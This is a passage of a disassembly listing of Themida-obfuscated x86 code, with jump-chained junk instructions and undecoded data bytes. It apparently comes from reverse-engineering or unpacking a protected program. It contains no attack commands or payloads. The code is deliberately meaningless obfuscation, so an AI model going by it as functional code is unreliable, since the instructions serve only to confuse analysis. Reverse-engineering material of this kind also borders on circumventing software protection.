; ---------------------------------------------------------------------------


loc_56DCDB:				; CODE XREF: Themida_:0056B631j
		xor	edi, [esp]
		jmp	loc_55D32D
; ---------------------------------------------------------------------------


loc_56DCE3:				; CODE XREF: Themida_:0056A3A6j
		xor	eax, 11688988h
		jmp	loc_56E1C8
; ---------------------------------------------------------------------------


loc_56DCED:				; CODE XREF: Themida_:005671BEj
		pop	ecx
		add	esp, 4
		xor	bl, 0D5h
		jmp	loc_5634FE
; ---------------------------------------------------------------------------


loc_56DCF9:				; CODE XREF: Themida_:0056EA5Dj
		pop	ebx
		add	esp, 4
		shr	eax, 8
		add	eax, 0FFFFFFFFh
		jmp	loc_56FB92
; ---------------------------------------------------------------------------


loc_56DD0D:				; CODE XREF: Themida_:0055EAEDj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	bl, 7Fh
		sub	bl, al
		push	edx
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0DCh
		jmp	loc_5671B9
; ---------------------------------------------------------------------------
		db 83h
		dd 0C18304C4h, 74FF5104h, 8F590424h, 555C2404h,	4EC81h
		dd 24890000h, 0F87CE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56DD4A:				; CODE XREF: Themida_:0056DA60j
		pop	ebp
		shl	edi, 3
		not	edi
		sub	edi, 4E3E2594h
		not	edi
		xor	edi, 2053802Ch
		mov	eax, edi
		pop	edi
		and	eax, 48B371F0h
		or	eax, 0D492CEEh
		jmp	loc_56DD9C
; ---------------------------------------------------------------------------


loc_56DD70:				; CODE XREF: Themida_:0056C972j
		add	esp, 4
		sub	eax, 616A4684h
		push	dword ptr [esp]
		jmp	loc_568096
; ---------------------------------------------------------------------------


loc_56DD80:				; CODE XREF: Themida_:0056F4D2j
		add	esi, edx
		jmp	loc_56E232
; ---------------------------------------------------------------------------
		dd offset dword_53EBE0+288h
		align 4
		dd 0E9240C89h, 0FFFF0A2Bh, 0E9241C8Bh, 0FFFF5C65h
; ---------------------------------------------------------------------------


loc_56DD9C:				; CODE XREF: Themida_:0056DD6Bj
		push	edi
		push	669D39F2h
		pop	edi
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_56F56E
; ---------------------------------------------------------------------------
		dw 429h
		dd 0E9485824h, 0FFFFD574h, 4C481h, 5F2D0000h, 29FA89EDh
		dd 0E67AE9C1h, 0F781FFFFh, 518E0C38h, 0F53C781h, 1FE9FCC5h
		dd 1FFFFC3h, 0E5DE9D1h,	0E95A0000h, 0FFFEF8B0h
; ---------------------------------------------------------------------------


loc_56DDEC:				; CODE XREF: Themida_:00570D19j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_56EA6C
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 5B6D2A50h, 405FF809h, 75D26A35h,	393FE9ACh
		dd 0D529FFFFh, 0FFF2B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DE19:				; CODE XREF: Themida_:00560B64j
		push	edx
		jmp	loc_56A1EF
; ---------------------------------------------------------------------------


loc_56DE1F:				; CODE XREF: Themida_:00565E98j
		push	edi
		push	2F736103h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56BC0B
; ---------------------------------------------------------------------------


loc_56DE39:				; CODE XREF: Themida_:0055D7C0j
		sub	ecx, ebp
		add	ecx, 2ECD3237h
		add	ecx, 27803C8Ch
		pop	ebp
		sub	ecx, 650C7468h
		add	ecx, edi
		jmp	loc_562BE4
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240C89h, 577Fh, 0FFD232E9h, 59CD29FFh, 8124048Bh
		dd 4C4h, 7B59E900h, 0DF31FFFFh,	0DF87D3F7h, 0C781D7F7h
		dd 21E50B61h, 162CEF81h, 8157062Eh, 16CC2404h, 815B16CFh
		dd 0CF16CCEBh, 0CB815F16h, 2CD073F9h, 0FFFFEB81h, 0E943FFFFh
		dd 0FFFFC331h
; ---------------------------------------------------------------------------


loc_56DEAC:				; CODE XREF: Themida_:00570373j
		mov	eax, 594E55C6h
		shl	eax, 4
		xor	eax, 8451E71h
		add	eax, 0C599FA25h
		and	ecx, eax
		pop	eax
		not	ecx
		sub	ecx, 0B27217B4h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56B066
; ---------------------------------------------------------------------------
		db 0B3h, 0BAh, 0E9h
		dd 0FFFF2D55h, 0C781E7D1h, 94F43FB3h, 74311B05h, 0C26E914h
		dd 0EF810000h, 772E24F0h, 38E95547h, 52FFFF07h,	2B1030BAh
		dd 7E2C176h, 317AE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DF0E:				; CODE XREF: Themida_:00563DF2j
		add	edi, ebx
		push	esi
		mov	esi, 18EB0C18h
		add	edi, esi
		jmp	loc_5711C3
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF3E0Eh
; ---------------------------------------------------------------------------


loc_56DF28:				; CODE XREF: Themida_:0056B7B5j
		mov	[esp], ecx
		mov	ecx, 1
		push	36C9h
		jmp	loc_562EFF
; ---------------------------------------------------------------------------
		dw 0E4E9h
		dd 0BBFFFEE3h, 4E9973B1h, 0E95BDA29h, 0FFFF646Bh, 0BD242C89h
		dd 32E91717h, 0C108EDC1h, 0F58108E5h, 11416910h, 0E9E28952h
		dd 0FFFF571Ch
; ---------------------------------------------------------------------------


loc_56DF68:				; CODE XREF: Themida_:00570E75j
		add	esp, 4
		add	edx, ecx
		jmp	loc_567A64
; ---------------------------------------------------------------------------


loc_56DF72:				; CODE XREF: Themida_:0056F835j
		mov	[esp], edi
		push	2A584BC6h
		pop	edi
		sub	edi, 124F66F3h
		inc	edi
		sub	edi, 18084234h
		sub	edi, 0F4CB76BDh
		mov	eax, edi
		pop	edi
		jmp	loc_55DB99
; ---------------------------------------------------------------------------


loc_56DF96:				; CODE XREF: Themida_:0056E7F3j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_564391
; ---------------------------------------------------------------------------


loc_56DFA1:				; CODE XREF: Themida_:00566E3Ej
		pop	ecx
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 36AE3184h
		sub	edi, 4B486E98h
		not	edi
		xor	edi, 149A3D17h
		jmp	loc_5691C2
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 1247C86h, 0EC815966h, 4, 0B0240489h,	81C0FEF7h, 4ECh
		dd 240C8900h, 0C180AFB1h, 0CAE980B4h, 6859C800h, 34DEh
		dd 0B2241489h, 0E2CA8011h, 8025B151h, 0EA8053C1h, 80CA2859h
		dd 0C8B59C2h, 4C48124h,	30000000h, 0C5805AD0h, 80C5002Eh
		dd 30582EEDh, 0E9EC30E5h, 3536h
; ---------------------------------------------------------------------------


loc_56E028:				; CODE XREF: Themida_:0056A885j
		mov	ebp, 27A8471Bh
		jmp	loc_569B64
; ---------------------------------------------------------------------------


loc_56E032:				; CODE XREF: Themida_:005672A6j
		xor	edi, [esp]
		jmp	loc_56EDA4
; ---------------------------------------------------------------------------
word_56E03A	dw 34FFh		; DATA XREF: Themida_:0055C294o
		dd 2434FF24h, 0E9240C8Bh, 0FFFF81DFh
; ---------------------------------------------------------------------------


loc_56E048:				; CODE XREF: Themida_:0055D244j
		pop	ecx
		pop	esi
		pop	ebx
		or	ecx, 68A950FEh
		jmp	loc_5685EC
; ---------------------------------------------------------------------------


loc_56E056:				; CODE XREF: Themida_:0055F718j
		pop	ebx
		push	6625h
		mov	[esp], eax
		sub	dword ptr [esp], 543B5253h
		jmp	loc_56247B
; ---------------------------------------------------------------------------


loc_56E06B:				; CODE XREF: Themida_:005688FFj
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_56774A
; ---------------------------------------------------------------------------


loc_56E07E:				; CODE XREF: Themida_:0056A45Ej
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ebx, edi
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	eax
		push	102Eh
		mov	[esp], edi
		push	4
		pop	edi
		push	edi
		add	dword ptr [esp], 37DD6E1Dh
		pop	eax
		push	5BA9h
		mov	[esp], ecx
		mov	ecx, 23753030h
		or	ecx, 12D76498h
		xor	ecx, 42A1AA5h
		sub	eax, ecx
		pop	ecx
		pop	edi
		mov	edx, eax
		pop	eax
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	0EDFh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56F067
; ---------------------------------------------------------------------------
		db 0D1h, 0EBh, 81h
		dd 0BEEA5EC3h, 5BDE0969h, 77F6814Eh, 532174B1h,	89F28952h
		dd 0DD895AD3h, 24348B5Bh, 4C481h, 0E5C10000h, 5E5C106h
		dd 0FF0599E9h, 4E8C1FFh, 72A068h, 241C8900h, 6734EBBh
		dd 81D3F751h, 6108A3F3h, 0F3814354h, 0ED27573h,	0F81EB81h
		dd 0EB814F18h, 82778C87h, 2F6E9h, 242C8900h, 42474FFh
		dd 24048F5Dh, 6624248Bh, 3BE9F9F7h, 28FFFF9Dh, 54E980F9h
		dd 0FFF3A4E9h, 1EF80FFh, 5266DFF6h, 0FF69B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E179:				; CODE XREF: Themida_:0056E81Fj
		sub	eax, ebp
		pop	ebp
		jmp	loc_567D7F
; ---------------------------------------------------------------------------
		db 5, 64h, 71h
		dd 0D1E97141h, 81FFFEEAh, 0C26221C6h, 5AE68130h, 0E9353854h
		dd 0FFFF8A2Ch, 66E1F766h, 6627E968h, 66241489h,	0AE99C50h
		dd 5FFFF1Fh, 4,	0C68E9h, 2C18100h, 87000000h, 0E95C240Ch
		dd 0FFFF017Eh
; ---------------------------------------------------------------------------


loc_56E1C8:				; CODE XREF: Themida_:0056DCE8j
		add	ebp, eax
		pop	eax
		add	ebp, 7CA360E5h
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_56D8B0
; ---------------------------------------------------------------------------
		db 59h
		dd 34E4F381h, 51564738h, 15E3CB9h, 59CE8954h, 62B2F681h
		dd 0ECE96B9Eh
		db 0E4h, 0FEh, 0FFh
byte_56E1F7	db 56h			; DATA XREF: Themida_:0055C0F4o
		dd 81E9E689h, 5BFFFFD0h, 5604EE83h, 135CE9h, 21C18100h
		dd 5D53EB11h, 6C59E981h, 0D1013C88h, 6C59C181h,	0C1813C88h
		dd 5C160ECAh, 8124148Bh, 4C4h, 0F998E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E232:				; CODE XREF: Themida_:0056DD82j
		mov	edx, [esp]
		jmp	loc_570441
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF3FE6h
; ---------------------------------------------------------------------------


loc_56E240:				; CODE XREF: Themida_:0055F7F0j
		xor	dh, al
		xor	al, dh
		xor	dh, al
		jmp	loc_563FED
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF65CBE9h, 4C481FFh, 81000000h, 4ECh, 0AE58E900h, 0E981FFFFh
		dd 60834B0Bh, 0FFF0DAE9h, 24148BFFh, 8304C483h,	555104C4h
		dd 2CBDh, 0C0C6800h, 4890000h, 0BD555524h, 40F75B03h, 4246C31h
		dd 7BE9585Dh, 57FFFF54h, 4619C368h, 0F7475F5Ah,	7AE781D7h
		dd 8118C465h, 0BB32DC7h, 0C666E90Ah, 0C281FFFFh, 4, 8704C283h
		dd 515C2414h, 2B9h, 0D9EB8100h,	8100C100h, 0B31874EBh
		dd 81CB0145h, 0B31874C3h, 68565745h, 36262EFBh,	8124348Bh
		dd 4C4h, 22EE8100h, 8935652Eh, 2CE95EF7h, 59FFFFC3h, 4C481h
		dd 7E050000h, 527C1A2Fh, 737F55BAh, 4E2C111h, 0FF9144E9h
		dd 1A3E2DFFh, 5597324h,	4F652DA9h, 53E9D829h, 0FFFF95h
		dd 2E65E9FAh, 0EA81FFFFh, 0B78CC0B9h, 0FF5AD129h, 0E95B2434h
		dd 0FFFF7556h
dword_56E33C	dd 8B2434FFh, 0AE92404h, 5BFFFFFFh, 3302C183h, 0C31240Ch
					; DATA XREF: Themida_:0055C244o
		dd 240C3324h, 6624248Bh, 8124048Bh, 4ECh, 24148900h, 0C281E289h
		dd 4, 8704EA83h, 1E92414h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E377:				; CODE XREF: Themida_:005663F2j
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_56059A
; ---------------------------------------------------------------------------


loc_56E385:				; CODE XREF: Themida_:00568672j
		pop	esp
		mov	[esp], edx
		mov	edx, 3D3D1164h
		jmp	loc_565137
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7ABB3908h, 0C781D7F7h, 1BB4488Ah, 22E78147h,	5242020Fh
		dd 0BAF02EBAh, 0E9D731E6h, 0FFFFC40Dh
; ---------------------------------------------------------------------------


loc_56E3B4:				; CODE XREF: Themida_:00571445j
		neg	esi
		jmp	loc_55DEA7
; ---------------------------------------------------------------------------


loc_56E3BB:				; CODE XREF: Themida_:00561B2Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_570005
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 4EA8304h, 31241433h, 14332414h, 3C895C24h
		dd 0E2B85024h, 890D63EAh, 6637E9C7h, 814FFFFFh,	0DD2FCAEFh
		dd 1C7811Eh, 0E926F962h, 10B2h,	0D30C2EBFh, 0FAD8E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E41A:				; CODE XREF: Themida_:00564566j
		push	ecx
		mov	ecx, 61E73A4Ah
		or	ecx, 4AA77934h
		and	ecx, 7E292E16h
		xor	ecx, 7BC53084h
		push	ebx
		push	edx
		mov	edx, 1DE781Fh
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_563C3C
; ---------------------------------------------------------------------------
		db 31h
		dd 241C8BD8h, 0E904C483h, 0FFFFD912h, 7FE9D8F6h, 1FFFEFAh
		dd 8675E9D5h, 8952FFFFh, 4C281E2h, 56000000h, 4BEh, 8FEA8100h
		dd 2962FD7Ch, 8FBE56F2h, 162FD7Ch, 875E5EF2h, 248B2414h
		dd 241C8924h, 161468h, 78E95400h, 56FFFFA0h, 0E1E9E689h
		dd 68FFFF16h, 34F0h, 0E9241489h, 0FFFF18E1h, 42474FFh
		dd 81240C8Bh, 4C4h, 24048F00h, 2414895Ch, 0AD6102BAh, 0BF5714h
		dd 29000000h, 8BFA87D7h, 0C483243Ch, 0FAEA8104h, 81EB529Eh
		dd 44B34EBh, 83D30108h,	3C8904ECh, 4B34BF24h, 0FB010804h
		dd 5CB9E95Fh, 0C281FFFFh, 27B26939h, 0EA81F201h, 27B26939h
		dd 5AD6315Eh, 5C5FB850h, 0B42D077Ah, 0E928D1B0h, 0FFFFBC8Ah
		dd 8124348Bh, 4C4h, 8CB95100h, 2912462Ah, 760559CEh, 2D02DB21h
		dd 28262E4Fh, 4F05F001h, 2D28262Eh, 2DB2176h, 2055Eh, 25E90000h
		dd 88FFFF5Fh, 5B6659E8h, 3A15E951h
		db 2 dup(0FFh)
word_56E552	dw 2DADh		; DATA XREF: Themida_:0055C054o
		dd 4A176619h, 0F4E9D801h, 1000011h, 2FBAE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E566:				; CODE XREF: Themida_:0056E66Aj
		shl	ebp, 5
		add	ebp, 0B73FDCA4h
		mov	ecx, ebp
		pop	ebp
		push	ecx
		pop	esi
		pop	ecx
		sub	eax, 4AA85E04h
		add	eax, esi
		push	esi
		mov	esi, 2AA427D6h
		neg	esi
		inc	esi
		push	ebx
		mov	ebx, 8AB37A27h
		sub	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	5906h
		mov	[esp], eax
		mov	eax, 6D5F1124h
		sub	esp, 4
		mov	[esp], eax
		dec	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565959
; ---------------------------------------------------------------------------


loc_56E5BB:				; CODE XREF: Themida_:0056498Cj
		mov	[esp], esi
		jmp	loc_56713E
; ---------------------------------------------------------------------------
		db 81h
		dd 422BFDC3h, 1CC38124h, 4B456813h, 0C381DBF7h,	0AE8E722Fh
		dd 69E9DA89h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E5DF:				; CODE XREF: Themida_:00566545j
		add	eax, 671A6D28h
		jmp	loc_5713BD
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2E0AE9h, 505A66FFh, 0C9BE9h, 242C8900h, 4BDh, 5DEE0100h
		dd 4BD55h, 0E9500000h, 0FFFFC58Fh
dword_56E610	dd 81E28952h, 4C2h, 4EA8100h, 0E9000000h, 0FFFFA434h, 83242C8Bh
					; DATA XREF: Themida_:0055C068o
		dd 48F04C4h, 4D35C24h, 0ECE99C24h, 5FFFFEDCh, 2767E9h
		dd 480AB900h, 0BA523050h, 6EC201FAh, 8245401h, 8324148Bh
		dd 4C2904C4h, 6C810424h, 1FA0424h, 34FF6EC2h, 6B3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E666:				; CODE XREF: Themida_:0055DBD5j
		xor	ebp, edi
		pop	edi
		inc	ebp
		jmp	loc_56E566
; ---------------------------------------------------------------------------
aIgXhW		db 'G Xh]w',0
		align 4
		dd 0E9240C89h, 0FFFF83ECh, 2313E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E686:				; CODE XREF: Themida_:00565049j
		mov	cl, 54h
		sub	bl, cl
		pop	cx
		jmp	loc_5679C3
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A3h
		dd 31CEAC3Ch, 0FFE2E9D1h, 0CB68FFFFh, 0E947F61Dh, 0FFFF4F5Ch
; ---------------------------------------------------------------------------


loc_56E6A8:				; CODE XREF: Themida_:0057036Dj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	774C548Dh
		push	dword ptr [esp]
		jmp	loc_5643F5
; ---------------------------------------------------------------------------


loc_56E6C3:				; CODE XREF: Themida_:0056E880j
		push	650Dh
		jmp	loc_56C977
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 7
		dd 0ED36E950h, 0CE81FFFFh, 64434FDCh, 75A0F681h, 0C6814289h
		dd 5C5A268Ch, 8105E6C1h, 0F9E2C4C6h, 5EF701B6h,	5A8CB850h
		dd 772555A0h, 0E94F3349h, 0FFFF068Bh
; ---------------------------------------------------------------------------


loc_56E704:				; CODE XREF: Themida_:0056DC05j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D75C
; ---------------------------------------------------------------------------
		db 0E9h, 11h, 0DCh
		dd 4DBFFFFEh, 813F9A58h, 0F75D60F7h, 9F55E978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E722:				; CODE XREF: Themida_:005713DDj
		sub	edx, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_569CBC
; ---------------------------------------------------------------------------
		dd 4C681h, 0BB530000h, 73250286h, 0FF1D79E9h, 4BEB80FFh
		dd 0EDB1E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E746:				; CODE XREF: Themida_:00567707j
		sub	ebx, 23286052h
		add	ebx, edx
		add	ebx, 23286052h
		add	ebx, 4C18699Fh
		jmp	loc_565468
; ---------------------------------------------------------------------------
		db 68h
		dd 3F8C47DEh, 5E9C159h,	9DC4C181h, 5E51FE03h, 0F2895259h
		dd 0E95AD389h, 0FFFF1DFCh, 2D726866h, 50665966h, 1F02B866h
		dd 163E9h, 240C8B00h, 0FFDEB4E9h, 2434FFFFh, 1DA2685Bh
		dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 0FFAFF3E9h, 579E68FFh
		dd 4890000h, 4B824h, 0C3890000h, 0FF4804E9h, 4C181FFh
		dd 81000000h, 4E9h, 0D1E95100h,	81FFFFFCh, 0DE6EE3E9h
		dd 69F18157h, 816C071Ch, 6AD35EE9h, 0E9CA2168h,	0FFFF7E2Ah
; ---------------------------------------------------------------------------


loc_56E7F0:				; CODE XREF: Themida_:0056A25Bj
		add	edx, 4
		jmp	loc_56DF96
; ---------------------------------------------------------------------------
		dd 0EDDDE952h, 0CFFFFFEh, 1CE99C24h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E807:				; CODE XREF: Themida_:0055FAE4j
		mov	ebp, 1FDE7B58h
		shl	ebp, 6
		or	ebp, 0C393BBBh
		neg	ebp
		neg	ebp
		xor	ebp, 0EEEDF7DDh
		jmp	loc_56E179
; ---------------------------------------------------------------------------
		dd 5059CD01h, 8904EC83h, 0C5E9241Ch, 31FFFFFFh,	0EE815BDEh
		dd 109A0DC6h, 3068BD55h, 0F5816B62h, 16431D44h,	815DEE31h
		dd 9E9B60F6h, 0CAC381E3h, 81177C42h, 28031CEBh,	0E2E6E97Bh
		dd 4D68FFFEh, 89000037h, 68241Ch, 0E9000000h, 0FFFF3CB8h
; ---------------------------------------------------------------------------


loc_56E874:				; CODE XREF: Themida_:0056F28Fj
		add	dl, 0C1h
		sub	bl, 0BFh
		add	bl, dl
		add	bl, 0BFh
		pop	edx
		jmp	loc_56E6C3
; ---------------------------------------------------------------------------
		db 51h,	52h, 50h
		dd 0A2E9DC88h, 81FFFF18h, 4C5h,	242C8700h, 0B60F665Ch
		dd 0C7686600h, 4896614h, 0DA79E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E8AA:				; CODE XREF: Themida_:0056F1DCj
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	eax, 52A83111h
		jmp	loc_55CADF
; ---------------------------------------------------------------------------
		db 81h
		dd 26734DE5h, 0BE565017h, 69742018h, 315EF089h,	0E5C158C5h
		dd 5CED8102h, 81ED5949h, 663616C1h, 0E9E90150h,	0FFFEDF3Eh
		dd 66C12966h, 66526658h, 660CD0BAh, 8B66D601h, 0C4812414h
		dd 2, 66CE0166h, 0CD0EE81h, 148B6659h, 2C48124h, 57000000h
		dd 2EC0BF66h, 5E7C166h,	2E7C166h, 64C78166h, 0EF816607h
		dd 81660A3Bh, 55EF4EEFh, 0AC4BD66h, 6EDC166h, 66D5F766h
		dd 5FEECD81h, 0FFDA8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E94D:				; CODE XREF: Themida_:0056D1C2j
		shr	ecx, 6
		push	60DAh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5651FD
; ---------------------------------------------------------------------------
		db 68h
		align 8
		dd 0FF5B5FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E96D:				; CODE XREF: Themida_:0055D1EBj
		mov	edi, 6CFB0173h
		sub	edx, edi
		pop	edi
		jmp	loc_56EEA4
; ---------------------------------------------------------------------------
		dw 0EE31h
		dd 0FF118BE9h, 81D830FFh, 4ECh,	241C8900h, 0FF0468E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E991:				; CODE XREF: Themida_:0055D35Aj
		push	eax
		mov	eax, 4
		jmp	loc_564A60
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	0FF24248Bh, 0D975E930h,	5758FFFEh
		dd 4BFh, 5FF90100h, 8B240C87h, 14872424h, 0CD25C24h, 58E99C24h
		db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E9CB:				; CODE XREF: Themida_:00565DEDj
		not	edx
		push	4182h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		add	ecx, 320D6B1Dh
		mov	esi, ecx
		pop	ecx
		sub	esi, 3200B4BBh
		and	eax, esi
		pop	esi
		jmp	loc_5643A7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF3F07E9h, 0C4ED80FFh, 0E900ED80h, 0FFFFA792h
; ---------------------------------------------------------------------------


loc_56EA10:				; CODE XREF: Themida_:0057096Cj
		mov	eax, ebp
		pop	ebp
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5630B5
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0A3h
		dd 29362673h, 0A3EB81FBh, 0E9362673h, 0FFFF1D97h
; ---------------------------------------------------------------------------


loc_56EA3C:				; CODE XREF: Themida_:0056A1F3j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_563926
; ---------------------------------------------------------------------------


loc_56EA5A:				; CODE XREF: Themida_:0056F62Cj
		push	dword ptr [esp]
		jmp	loc_56DCF9
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 0E9CA895Eh, 0FFFF2AE8h
; ---------------------------------------------------------------------------


loc_56EA6C:				; CODE XREF: Themida_:0056DDF7j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	eax, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_569646
; ---------------------------------------------------------------------------


loc_56EA89:				; CODE XREF: Themida_:0056D89Dj
		pop	esi
		sub	[edi+24h], ebp
		jmp	loc_561394
; ---------------------------------------------------------------------------
word_56EA92	dw 77FFh		; DATA XREF: Themida_:0055C0B8o
		dd 58669D1Ch, 24041966h, 0B75E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EAA2:				; CODE XREF: Themida_:00565F82j
		xor	[esp], eax
		jmp	loc_5712F4
; ---------------------------------------------------------------------------
		dw 0D387h
		dd 8105E3C1h, 862A0CBh,	92E38131h, 8132B714h, 0BD96FDEBh
		dd 0FFD829D9h, 32E92434h, 55000028h, 216E55BDh,	4DBF573Ch
		dd 2953A63Bh, 0C7815FFDh, 0E44326Dh, 0EF81EF01h, 0E44326Dh
		dd 0FBC3815Dh, 0E969DF29h, 0FFFFFF35h, 2FB2F181h, 0D101F637h
		dd 0FF96B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB01:				; CODE XREF: Themida_:005612B1j
		push	ebp
		mov	ebp, 743A4713h
		mov	edi, ebp
		pop	ebp
		neg	edi
		dec	edi
		sub	edi, 64F83A5Ch
		jmp	loc_56A153
; ---------------------------------------------------------------------------
		dd 1B2DF829h, 0E9147431h, 0FFFFD267h, 0E95BDA88h, 0FFFF9F34h
; ---------------------------------------------------------------------------


loc_56EB2C:				; CODE XREF: Themida_:0056FD8Bj
		add	ebx, edx
		jmp	loc_56167E
; ---------------------------------------------------------------------------
		db 29h
		dd 0E1E95FFAh
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB3B:				; CODE XREF: Themida_:00562A2Bj
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	eax, 4B7511D6h
		push	25B8h
		jmp	loc_5616D9
; ---------------------------------------------------------------------------


loc_56EB50:				; CODE XREF: Themida_:0056A55Fj
		push	6B4B5CB8h
		jmp	loc_5680C5
; ---------------------------------------------------------------------------
		dw 7FBBh
		dd 4325DF70h, 0FEF990E9h, 0E98159FFh, 0FFFFFFFFh, 6D62E981h
		dd 1DE9523Dh, 33FFFF47h, 4312404h, 24043324h, 0FF353EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB85:				; CODE XREF: Themida_:0056AFABj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		pop	ecx
		pop	edi
		push	ebx
		mov	ebx, ecx
		mov	edi, ebx
		jmp	loc_5652C6
; ---------------------------------------------------------------------------


loc_56EB99:				; CODE XREF: Themida_:00560300j
		mov	[esp], cx
		jmp	loc_55C323
; ---------------------------------------------------------------------------
word_56EBA2	dw 8B66h		; DATA XREF: Themida_:0055C098o
		dd 54572404h, 146EE95Fh
		db 2 dup(0)
word_56EBAE	dw 56ADh		; DATA XREF: Themida_:0055C1B4o
		dd 0C681E689h, 4, 0FF100DE9h, 1BC768FFh, 3C890000h, 1F066824h
		dd 8F540000h, 76E92404h, 31FFFFE9h, 24348BF0h, 0FEE335E9h
		dd 0FFC381FFh, 0C1FFFFFFh, 0E3D106E3h, 0FF4134E9h
		db 0FFh
byte_56EBED	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C100o
aHi		db '$h`',0
		align 2
		dw 85E9h
		dd 89000019h, 0D3E92424h, 57FFFF99h, 0FFF807E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EC09:				; CODE XREF: Themida_:00560E92j
		mov	edx, 1
		sub	esi, edx
		pop	edx
		sub	esi, 0E47F0172h
		push	eax
		jmp	loc_5692F8
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
a_hi		db '_h',7,0
		align 2
		dw 3C89h
		dd 0A6EBE924h
		db 2 dup(0FFh)
word_56EC2E	dw 8B66h		; DATA XREF: Themida_:0055C280o
		dd 0E952240Ch, 0FFFF88A7h, 835EF201h, 0ECE904C2h, 5AFFFFBDh
		dd 0FEDD3BE9h, 4C681FFh, 81000000h, 4EEh, 24343300h, 181BE9h
